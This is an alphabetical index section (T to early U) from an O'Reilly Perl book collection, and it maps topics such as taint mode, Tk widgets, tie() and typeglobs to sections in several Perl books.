Perl in a Nutshell, Chapter 6, Reference: T
Programming Perl, 8.1.1. Debugger Commands
-t file test operator
Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
-T file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-t option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-T option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-t option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
\t (tab) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
-T switch, perl
Advanced Perl Programming, 20.2.2.3. Security features
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Programming Perl, 6.2.4.1. Internet TCP clients and servers
Programming Perl, 6.3.1. Handling Insecure Data
TAB character
Learning Perl, 2.3.2. Double-Quoted Strings
Programming Perl, 7.2.70. Text::Tabs - Expand and Unexpand Tabs
completion and : Programming Perl, 7.2.65. Term::Complete - Word Completion Module
tabs : (see whitespace)
-tabs option (Text) : Perl in a Nutshell, 18.11. The Text Widget
tac command, emulating : Learning Perl, 6.4. Exercises
tag() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: tag
tagAdd() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagBind() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagCget() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagConfigure() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagDelete() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagged styles, widget : Advanced Perl Programming, 14.3.5.4. Using tags to change properties of text ranges
tagLower() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagNames() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagNextrange() : Perl in a Nutshell, 18.11.3. Tags
tagRaise() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagRanges() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tagRemove() (Text widget) : Perl in a Nutshell, 18.11.3. Tags
tags, functions for : Programming Perl, 7.2.15.4. Tag handling utility functions
tags, HTML : (see HTML)
tags, with Text widgets : Perl in a Nutshell, 18.11.3. Tags
tailwtmp program : Perl Cookbook, 8.18. Program: tailwtmp
taint checking
Advanced Perl Programming, 20.2.2.3. Security features
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Programming Perl, 6.2.4.1. Internet TCP clients and servers
Programming Perl, 6.3.1. Handling Insecure Data
taint mode
Advanced Perl Programming, 1.2.5.1. Trojan horses
Perl Cookbook, 19.4. Writing a Safe CGI Program
taintperl program : Programming Perl, 8.2.7. Previous Perl Traps
-takefocus option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
tan() : Perl Cookbook, 2.12. Calculating More Trigonometric Functions
tar utility : Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution
targets, make : Programming Perl, 7.2.18.1. Targets
tcapdemo program (example) : Perl Cookbook, 15.18. Program: Small termcap program
tcgrep program : Perl Cookbook, 6.22. Program: tcgrep
Tcl language
(see also Perl/Tk toolkit)
Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
Advanced Perl Programming, Why Perl?
dynamic evaluation versus subroutines : Advanced Perl Programming, 4.5.1. Tcl
modular programming in : Advanced Perl Programming, 6.9.1. Tcl
object orientation of : Advanced Perl Programming, 7.5.1. Tcl
references in : Advanced Perl Programming, 1.7.1. Tcl
run-time evaluation and error handling : Advanced Perl Programming, 5.7.1. Tcl (Tool Command Language)
trace command : Advanced Perl Programming, 9.6.1. Tcl
TCP/IP (Transport Control Protocol/IP)
Advanced Perl Programming, 12.1. Networking Primer
Learning Perl on Win32 Systems, C. Networking Clients
Programming Perl, 6.2.4.1. Internet TCP clients and servers
communicating over : Perl Cookbook, 17.3. Communicating over TCP
writing clients : Perl Cookbook, 17.1. Writing a TCP Client
writing servers : Perl Cookbook, 17.2. Writing a TCP Server
TCP_NODELAY socket option : Perl Cookbook, 17.3. Communicating over TCP
tctee program : Perl Cookbook, 8.19. Program: tctee
tear-off menus : Perl Cookbook, 15.14. Creating Menus with Tk
-tearoff option
Menu widget : Perl in a Nutshell, 18.15. The Menu Widget
Menubutton widget : Perl in a Nutshell, 18.14. The Menubutton Widget
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
technical support : Learning Perl on Win32 Systems, 1.4. Support
tell()
Perl Cookbook, 8.0. Introduction
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 5, Reference: tell
Programming Perl, 3.2.169. tell
telldir()
Perl in a Nutshell, Chapter 5, Reference: telldir
Programming Perl, 3.2.170. telldir
telnet, simulating from programs : Perl Cookbook, 18.6. Simulating Telnet from a Program
temperature
Learning Perl, 4.6. Exercises
Learning Perl on Win32 Systems, 4.7. Exercises
template() : Perl Cookbook, 20.9. Creating HTML Templates
template files : Advanced Perl Programming, 17.2. Jeeves Example
TemplateParser module : Advanced Perl Programming, 17.3. Jeeves Overview
templates : Learning Perl, 11.2. Defining a Format
HTML : Perl Cookbook, 20.9. Creating HTML Templates
for modules : Perl Cookbook, 12.18. Example: Module Template
for outputting data : Perl in a Nutshell, 4.10. Formats
parsing : Advanced Perl Programming, 17.4.2. Template Parser
temporaries stack : Advanced Perl Programming, 20.4.3. Inside Other Stacks
temporary aliases : Advanced Perl Programming, 3.2.1. Temporary Aliases
temporary files
Perl Cookbook, 7.5. Creating Temporary Files
Perl Cookbook, 7.8. Modifying a File in Place with Temporary File
Perl Cookbook, 7.10. Modifying a File in Place Without a Temporary File
Term modules
Term::ANSIColor module : Perl Cookbook, 15.5. Changing Text Color
Term::Cap module
Perl Cookbook, 15.3. Clearing the Screen
Perl Cookbook, 15.18. Program: Small termcap program
Perl in a Nutshell, 8.138. Term::Cap
Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
Term::Complete module
Perl in a Nutshell, 8.139. Term::Complete
Programming Perl, 7.2.65. Term::Complete - Word Completion Module
Term::ReadKey module : Perl Cookbook, 1.12. Reformatting Paragraphs
checking for waiting input : Perl Cookbook, 15.9. Checking for Waiting Input
determining window size : Perl Cookbook, 15.4. Determining Terminal or Window Size
reading from keyboard : Perl Cookbook, 15.6. Reading from the Keyboard
reading passwords : Perl Cookbook, 15.10. Reading Passwords
Term::ReadLine module
Perl Cookbook, 15.11. Editing Input
Perl in a Nutshell, 8.140. Term::ReadLine
Term::ReadLine::Gnu module : Perl Cookbook, 15.11. Editing Input
termcap database : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
terminal : (see user interfaces)
terminating
current process
(see die())
(see exit())
infinite loop : Programming Perl, 2.6.4.2. For loops
processes : Programming Perl, 3.2.80. kill
subroutines : (see return statement)
termios interface : Perl Cookbook, 15.8. Using POSIX termios
Termios objects : Programming Perl, 7.2.49.1. Classes
terms : Programming Perl, 2.5.1. Terms and List Operators (Leftward)
test command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: test
Test modules
Perl in a Nutshell, 8.141. Test
Perl in a Nutshell, 8.142. Test::Harness
Programming Perl, 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
testing
code, Safe module for : Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
collections of files : Programming Perl, 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
if defined : Programming Perl, 3.2.25. defined
for tained data : Programming Perl, 6.3.1.1. Detecting and laundering tainted data
Tetris GUI (example) : Advanced Perl Programming, 15. GUI Example: Tetris
text : (see strings)
color : Perl Cookbook, 15.5. Changing Text Color
converting POD to ASCII : Programming Perl, 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
Entry widgets
Advanced Perl Programming, A.3. Entry
Advanced Perl Programming, 14.3.5.5. The entry widget
parsing into tokens : Programming Perl, 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
perlman viewer (example) : Advanced Perl Programming, 16. GUI Example: Man Page Viewer
positioning : Advanced Perl Programming, 14.3.5.1. Inserting text at absolute positions
scrolling : Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
translating to/from pod : Perl in a Nutshell, Chapter 4, Reference: pod2text
wrapping
Perl in a Nutshell, 8.122. Pod::Text
Programming Perl, 7.2.71. Text::Wrap - Wrap Text into a Paragraph
text editors, and updating databases : Learning Perl, 17.5. Variable-Length (Text) Databases
text fields (in formats) : Learning Perl, 11.4.1. Text Fields
text indexes (Entry widgets) : Perl in a Nutshell, 18.8.1. Text Indexes
Text modules
Perl in a Nutshell, 8.143. Text::Abbrev
Programming Perl, 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
Text::Abbrev module
Perl in a Nutshell, 8.143. Text::Abbrev
Programming Perl, 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
Text::ParseWords module
Perl Cookbook, 1.15. Parsing Comma-Separated Data
Perl in a Nutshell, 8.144. Text::ParseWords
Programming Perl, 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
Text::Soundex module
Perl Cookbook, 1.16. Soundex Matching
Perl in a Nutshell, 8.145. Text::Soundex
Programming Perl, 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
Text::Tabs module
Perl Cookbook, 1.7. Expanding and Compressing Tabs
Perl in a Nutshell, 8.146. Text::Tabs
Programming Perl, 7.2.70. Text::Tabs - Expand and Unexpand Tabs
Text::Template module : Perl Cookbook, 20.9. Creating HTML Templates
Text::Wrap module
Perl Cookbook, 1.12. Reformatting Paragraphs
Perl in a Nutshell, 8.147. Text::Wrap
Programming Perl, 7.2.71. Text::Wrap - Wrap Text into a Paragraph
-text option
Button widget : Perl in a Nutshell, 18.4. The Button Widget
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Label widget : Perl in a Nutshell, 18.7. The Label Widget
Menubutton widget : Perl in a Nutshell, 18.14. The Menubutton Widget
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
Text widgets (Perl/Tk)
Advanced Perl Programming, A.2.1. Text
Advanced Perl Programming, 14.3.5. Text and Entry
Perl in a Nutshell, 18.11. The Text Widget
textarea() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: textarea
textfield() (CGI.pm)
Learning Perl, 19.7. Other Form Elements
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 10, Reference: textfield
-textvariable option
Button widget : Perl in a Nutshell, 18.4. The Button Widget
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Entry widget : Perl in a Nutshell, 18.8. The Entry Widget
Label widget : Perl in a Nutshell, 18.7. The Label Widget
Menubutton widget : Perl in a Nutshell, 18.14. The Menubutton Widget
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
Tgetent() : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
Tgoto() : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
Thompson, Ken : Advanced Perl Programming, 10.3. Record-Oriented Approach
Thread module : Perl in a Nutshell, 8.148. Thread
Thread::Queue module : Perl in a Nutshell, 8.149. Thread::Queue
Thread::Semaphore module : Perl in a Nutshell, 8.150. Thread::Semaphore
Thread::Signal module : Perl in a Nutshell, 8.151. Thread::Signal
Thread::Specific module : Perl in a Nutshell, 8.152. Thread::Specific
threads : (see multithreading)
-tickinterval option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
tidy_body() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: tidy_body
tie()
Perl Cookbook, 13.15. Creating Magic Variables with tie
Perl Cookbook, 14.1. Making and Using a DBM File
Perl in a Nutshell, Chapter 5, Reference: tie
Programming Perl, 3.2.171. tie
Programming Perl, 5.4. Using Tied Variables
Tie modules
Tie::Array module : Perl in a Nutshell, 8.153. Tie::Array, Tie::StdArray
Tie::Handle module : Perl in a Nutshell, 8.154. Tie::Handle
Tie::Hash module
Perl in a Nutshell, 8.155. Tie::Hash, Tie::StdHash
Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Tie::IxHash module : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
Tie::RefHash module
Perl Cookbook, 5.12. Hashing References
Perl in a Nutshell, 8.156. Tie::RefHash
Tie::Scalar module
Perl in a Nutshell, 8.157. Tie::Scalar, Tie::StdScalar
Programming Perl, 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
Tie::StdArray module : Perl in a Nutshell, 8.153. Tie::Array, Tie::StdArray
Tie::StdHash module
Perl in a Nutshell, 8.155. Tie::Hash, Tie::StdHash
Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Tie::StdScalar module
Perl in a Nutshell, 8.157. Tie::Scalar, Tie::StdScalar
Programming Perl, 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
Tie::SubstrHash module
Perl in a Nutshell, 8.158. Tie::SubstrHash
Programming Perl, 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
tie statement : Advanced Perl Programming, 9. Tie
anonymous values : Advanced Perl Programming, 9.1.1.1. tie works with anonymous values
arrays : Advanced Perl Programming, 9.2. Tying Arrays
filehandles : Advanced Perl Programming, 9.4. Tying Filehandles
hashes : Advanced Perl Programming, 9.3. Tying Hashes
monitoring variables (example) : Advanced Perl Programming, 9.5. Example: Monitoring Variables
scalars : Advanced Perl Programming, 9.1. Tying Scalars
Text widgets and : Advanced Perl Programming, 14.3.5.6. Text widget and ties
TIEARRAY method
Advanced Perl Programming, 9.2.1. TIEARRAY Example: File as an Array
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 5.4.2. Tying Arrays
tied
hashes : Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
scalars : Programming Perl, 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
tied()
Perl in a Nutshell, Chapter 5, Reference: tied
Programming Perl, 3.2.172. tied
TieFile facility (example) : Advanced Perl Programming, 9.2.1. TIEARRAY Example: File as an Array
TIEHANDLE method : Perl Cookbook, 13.15. Creating Magic Variables with tie
TIEHASH method
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 5.4.3. Tying Hashes
TIESCALAR method
Advanced Perl Programming, 9.1. Tying Scalars
Perl Cookbook, 13.15. Creating Magic Variables with tie
Programming Perl, 5.4.1. Tying Scalars
tilde (~) : (see ~ (tilde))
time : (see date and time)
time()
Perl Cookbook, 3.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: time
Programming Perl, 3.2.173. time
Time modules
time operator
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
time zones : (see date and time)
time-outs, eval for : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
time2str() (HTTP::Date) : Perl in a Nutshell, Chapter 17, Reference: time2str
TimeConvert() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: TimeConvert
timegm()
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.2. Converting DMYHMS to Epoch Seconds
timeit() : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
timelocal()
Perl Cookbook, 3.0. Introduction
Perl Cookbook, 3.2. Converting DMYHMS to Epoch Seconds
Programming Perl, 3.2.88. localtime
Timeout option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
timeout()
IO::Socket module : Perl in a Nutshell, Chapter 13, Reference: timeout
LWP::UserAgent module : Perl in a Nutshell, Chapter 17, Reference: timeout
timers
Advanced Perl Programming, 13.1. Msg: Messaging Toolkit
Advanced Perl Programming, 14.5. Timers
high-resolution : Perl Cookbook, 3.9. High-Resolution Timers
Timer module : Advanced Perl Programming, 9.1.1. Example: Stopwatch
times()
Perl in a Nutshell, Chapter 5, Reference: times
Programming Perl, 3.2.174. times
timestamps
Perl Cookbook, 9.1. Getting and Setting Timestamps
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
timethese() routine : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
timing out operations : Perl Cookbook, 16.21. Timing Out an Operation
timing with alarms : Programming Perl, 3.2.5. alarm
title() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
Title() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Title
Tix extension library : Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
Tk extension to Perl : (see Perl/Tk toolkit)
tksample3 program (example) : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
tksample4 program (example) : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
tkshufflepod program (example) : Perl Cookbook, 15.19. Program: tkshufflepod
TLI (Transport Layer Interface) : Advanced Perl Programming, 12.1. Networking Primer
tmpfile() (POSIX module) : Perl Cookbook, 7.5. Creating Temporary Files
tmpnam() (POSIX module) : Perl Cookbook, 7.5. Creating Temporary Files
tmps_stack : Advanced Perl Programming, 20.4.3. Inside Other Stacks
-to option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
to()
Mail::Send module : Perl in a Nutshell, Chapter 14, Reference: to
Net::SMTP module : Perl in a Nutshell, Chapter 14, Reference: to
today's date : Perl Cookbook, 3.1. Finding Today's Date
toggle() (Checkbutton) : Perl in a Nutshell, 18.5.1. Checkbutton Methods
tokens, parsing text into : Programming Perl, 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
_TOP (top-of-page format suffix) : Learning Perl, 11.5. The Top-of-Page Format
top() (Net::POP3) : Perl in a Nutshell, Chapter 14, Reference: top
top-level window, Perl/Tk : Advanced Perl Programming, 14.2. Starting with Perl/Tk
top-of-form processing
Programming Perl, 2.8. Formats
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 3.2.134. select (output filehandle)
Programming Perl, 3.2.193. write
top-of-page format
Learning Perl, 11.5. The Top-of-Page Format
Learning Perl, 11.6.3. Changing the Top-of-Page Format Name
Learning Perl on Win32 Systems, 11.5. The Top-of-Page Format
Learning Perl on Win32 Systems, 11.6.3. Changing the Top-of-Page Format Name
example of
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
toplevel widget (Perl/Tk) : Perl in a Nutshell, 18.18. The Toplevel Widget
Tputs() : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
tr/// pattern match operator
Learning Perl, 15.5. Transliteration
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.175. tr///
~ operator with : Perl Cookbook, 1.1. Accessing Substrings
converting case with : Perl Cookbook, 1.9. Controlling Case
emulating : Learning Perl, 15.5. Transliteration
example of
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
trace() (DBI) : Perl in a Nutshell, Chapter 12, Reference: trace
trailing growing files : Perl Cookbook, 8.5. Trailing a Growing File
trailing whitespace, removing : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
transactions
Advanced Perl Programming, 10.1. Persistence Issues
Advanced Perl Programming, 10.4.1.4. Transactions
transient() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
translate operator : (see tr/// pattern match operator)
translating between languages
Programming Perl, 6.4.2. Translation from Other Languages
Programming Perl, 8.5.1. Translation from Awk and Sed
translation operator (y///)
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.194. y///
translator : Advanced Perl Programming, 20.2.2. Translator
transliteration : Learning Perl, 15.5. Transliteration
transparency
Advanced Perl Programming, 10.1. Persistence Issues
Advanced Perl Programming, 11. Implementing Object Persistence
Advanced Perl Programming, 11.2.1. Design Goals
transparently persistent data structures : Perl Cookbook, 11.14. Transparently Persistent Data Structures
transport protocols : Perl in a Nutshell, 13. Sockets
trapping undefined function calls : Perl Cookbook, 10.15. Trapping Undefined Function Calls with AUTOLOAD
traverse() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: traverse
traversing hashes : Perl Cookbook, 5.4. Traversing a Hash
tree structures : Perl Cookbook, 11.15. Program: Binary Trees
tree, directory : (see directories)
tree, file : (see CheckTree module; Find module)
Trequire() : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
triggers : Advanced Perl Programming, 10.4.1.6. What DBI does not provide
trigonometry : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
trinary operator, ?: as : Programming Perl, 2.5.16. Conditional Operator
Trojan horses : Advanced Perl Programming, 1.2.5.1. Trojan horses
troubleshooting
(see also debugging)
Programming Perl, 8.1. The Perl Debugger
awk code : Programming Perl, 8.2.3. Awk Traps
C code : Programming Perl, 8.2.4. C Traps
CGI programs : Learning Perl, 19.9. Troubleshooting CGI Programs
multidimensional arrays : Programming Perl, 4.6.5. Common Mistakes
Perl 4 (and before) code : Programming Perl, 8.2.7. Previous Perl Traps
scripts : Programming Perl, 8.2. Common Goofs for Novices
shell code : Programming Perl, 8.2.6. Shell Traps
-troughcolor option
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
true (value)
(see also Boolean)
Learning Perl on Win32 Systems, 4.2. The if/unless Statement
definition of : Learning Perl, 4.2. The if/unless Statement
regular expressions : Learning Perl, 7.2. Simple Uses of Regular Expressions
truncate()
Perl Cookbook, 8.0. Introduction
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 5, Reference: truncate
Programming Perl, 3.2.176. truncate
truncating numbers : Programming Perl, 3.2.76. int
truth (Boolean)
Perl Cookbook, 1.0. Introduction
Programming Perl, 1.6.1. What Is Truth?
tsc_permute program (example) : Perl Cookbook, 4.19. Program: permute
tty devices, testing for : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
TTY option (PERLDB_OPTS) : Perl in a Nutshell, 6.4. Customizing the Debugger
tuple : (see records)
tying
Perl in a Nutshell, Chapter 5, Reference: tied
Programming Perl, 3.2.172. tied
Programming Perl, 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
Programming Perl, 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
type()
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: type
Type option
IO::Socket::INET module : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX module : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
Win32::OLE::Variant module : Perl in a Nutshell, Chapter 19, Reference: Type
type-checking hints : Advanced Perl Programming, 20.7. A Peek into the Future
typecasting operator (in C) : Programming Perl, 2.5.21. C Operators Missing from Perl
typed referents : Perl Cookbook, 11.0. Introduction
typeglob prototype symbol (*) : Perl in a Nutshell, 4.7.5. Prototypes
typeglobs
Advanced Perl Programming, B.9. Typeglobs
Advanced Perl Programming, 3. Typeglobs and Symbol Tables
Advanced Perl Programming, 3.2. Typeglobs
Advanced Perl Programming, 20.3.4. Glob Values and Symbol Tables
Perl Cookbook, 1.18. Program: psgrep
Perl Cookbook, 7.16. Storing Filehandles in Variables
Perl Cookbook, 7.20. Copying Filehandles
Perl Cookbook, 10.13. Saving Global Values
Programming Perl, 2.3.6. Typeglobs and Filehandles
Programming Perl, 2.7.1. Passing Symbol Table Entries (Typeglobs)
Programming Perl, 4. References and Nested Data Structures
Programming Perl, 4.3.5. Other Tricks You Can Do with Hard References
aliasing on command line : Advanced Perl Programming, 3.2.2.2. Aliasing on command lines
for filehandles : Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
my operator with : Advanced Perl Programming, 3.2.1. Temporary Aliases
references and
Advanced Perl Programming, 3.3.4. References to Typeglobs
Programming Perl, 2.7.2. Passing References
selective aliases : Advanced Perl Programming, 3.3.1. Selective Aliasing
storing attributes with : Advanced Perl Programming, 8.1.2. Attribute Storage Using Typeglobs
temporary aliases : Advanced Perl Programming, 3.2.1. Temporary Aliases
variable suicide
Advanced Perl Programming, 3. Typeglobs and Symbol Tables
Advanced Perl Programming, 3.2.3. Aliasing Problem: Variable Suicide
typemaps
SWIG tool and
Advanced Perl Programming, 18.3. SWIG Features
Advanced Perl Programming, 20.5.7. SWIG Typemaps
XS tool : Advanced Perl Programming, 20.5.2. XS Typemaps: An Introduction
types : (see data types)
typing variables : Programming Perl, 5.4. Using Tied Variables

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

u command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: u
-u file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-u option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-U option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
\u string escape : Perl Cookbook, 1.9. Controlling Case
\U string escape : Perl Cookbook, 1.9. Controlling Case
-u switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-U switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
uc()
Perl Cookbook, 1.9. Controlling Case
Perl in a Nutshell, Chapter 5, Reference: uc
Programming Perl, 3.2.177. uc
ucfirst()
Perl Cookbook, 1.9. Controlling Case
Perl in a Nutshell, Chapter 5, Reference: ucfirst
Programming Perl, 3.2.178. ucfirst
UDP protocol
Perl Cookbook, 17.4. Setting Up a UDP Client
Perl Cookbook, 17.5. Setting Up a UDP Server
Programming Perl, 6.2.4.3. UDP: message passing
UDP/IP (User Datagram Protocol) : Advanced Perl Programming, 12.1. Networking Primer
udpmsg program (example) : Perl Cookbook, 17.5. Setting Up a UDP Server
udpqotd program (example) : Perl Cookbook, 17.5. Setting Up a UDP Server
Uhler, Stephen : Advanced Perl Programming, 14.2.1. GUI Forms: The Easy Way
uid (user ID)
(see also $ variables, $< variable; $ variables, $> variable)
Learning Perl, 10.6. The stat and lstat Functions
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 3.2.15. chown
accessing information : Learning Perl, 16.1. Getting Password and Group Information
assumed : Programming Perl, 6.2.2.2. Talking to yourself
passwd file entry from : Programming Perl, 3.2.63. getpwuid
$uid file statistic : Programming Perl, 3.2.159. stat
$UID ($<) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
uidl() (Net::POP3) : Perl in a Nutshell, Chapter 14, Reference: uidl
umask()
Perl in a Nutshell, Chapter 5, Reference: umask
Programming Perl, 3.2.179. umask
umask values : Perl Cookbook, 7.1. Opening a File
uname() (POSIX) : Perl Cookbook, 17.8. Finding Your Own Name and Address
unary operators
Perl in a Nutshell, 4.5.2. Unary Operators
Programming Perl, 7.2.48.2. Calling conventions for unary operations
Programming Perl, 7.2.48.3. Overloadable operations
arithmetic : Programming Perl, 1.5.4. Autoincrement and Autodecrement Operators
glob operator as : Programming Perl, 2.3.7.3. Filename globbing operator
ideographic : Programming Perl, 2.5.5. Ideographic Unary Operators
named
Programming Perl, 2.3.7.3. Filename globbing operator
Programming Perl, 2.5.10. Named Unary and File Test Operators
unbuffered input/output
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.12. Flushing Output
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 15.6. Reading from the Keyboard
Programming Perl, 3.2.43. getc
UNC path : Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
uncompressing Perl source code
Perl in a Nutshell, 2.3.1. Installing on Unix
Perl in a Nutshell, 2.3.2.2. Standard Perl distribution
uncontrol subroutine : Perl Cookbook, 15.8. Using POSIX termios
undef
Perl Cookbook, 11.0. Introduction
Learning Perl on Win32 Systems, 2.9. The Undefined Value
Perl in a Nutshell, Chapter 5, Reference: undef
Perl in a Nutshell, 4.2.4. Variables
Programming Perl, 3.2.25. defined
Programming Perl, 3.2.180. undef
Programming Perl, 8.3.1. Time Efficiency
array element access : Learning Perl, 3.4.2. Array Element Access
assigning lists and : Learning Perl, 3.4.1. Assignment
associative array elements : Learning Perl, 5.2. Hash Variables
to control dbmopen() : Learning Perl, 17.2. Opening and Closing DBM Hashes
as default value for $^I : Learning Perl, 17.5. Variable-Length (Text) Databases
definition of : Learning Perl, 2.9. The Undefined Value
globbing return value : Learning Perl, 12.2. Globbing
